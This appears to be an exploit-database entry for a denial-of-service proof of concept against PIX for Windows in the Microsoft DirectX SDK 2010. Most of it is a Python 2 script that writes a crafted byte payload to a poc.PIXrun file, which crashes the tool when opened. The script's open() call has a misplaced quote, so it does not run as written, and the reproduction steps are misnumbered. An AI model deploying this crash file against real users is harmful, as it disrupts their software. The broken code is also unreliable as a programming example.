Microsoft DirectX SDK 2010 - '.PIXrun' Denial Of Service (PoC)

vendor:

DirectX SDK

by:

ZwX

7.5

CVSS

HIGH

Denial of Service

CWE

Product Name: DirectX SDK

Affected Version From: Microsoft DirectX SDK 2010

Affected Version To: Microsoft DirectX SDK 2010

Patch Exists: NO

Related CWE:

CPE: a:microsoft:directx_sdk:2010

Metasploit:

Other Scripts:

Platforms Tested: Windows 7

2019

Microsoft DirectX SDK 2010 – ‘.PIXrun’ Denial Of Service (PoC)

This exploit allows an attacker to crash the PIX for Windows tools by running a specially crafted script that creates a file with the extension '.PIXrun'. When the file is opened in the software, it causes a crash.

Mitigation:

There is no known mitigation for this vulnerability.

Source

Exploit-DB raw data:

#Exploit Title: Microsoft DirectX SDK 2010 - '.PIXrun' Denial Of Service (PoC)
#Exploit Author : ZwX
#Exploit Date: 2019-11-26
#Vendor Homepage : https://www.microsoft.com/
#Link Software : https://www.microsoft.com/en-us/download/details.aspx?id=681
#Tested on OS: Windows 7

Proof of Concept (PoC):
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1.Download and install Microsoft DirectX SDK
2.Open the PIX for Windows tools 
2.Run the python operating script that will create a file (poc.PIXrun)
3.Run the software "File -> Open File -> Add the file (.PIXrun) "
4.PIX for Windows Crashed

#!/usr/bin/python

DoS=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x40\x4f\x73\x61\x6e\x64\x61\x4d\x61\x6c\x69\x74\x68\x00\x00\x00"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x74\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41")

poc = DoS
file = open("poc.PIXrun,"w")
file.write(poc)
file.close()

print "POC Created by ZwX"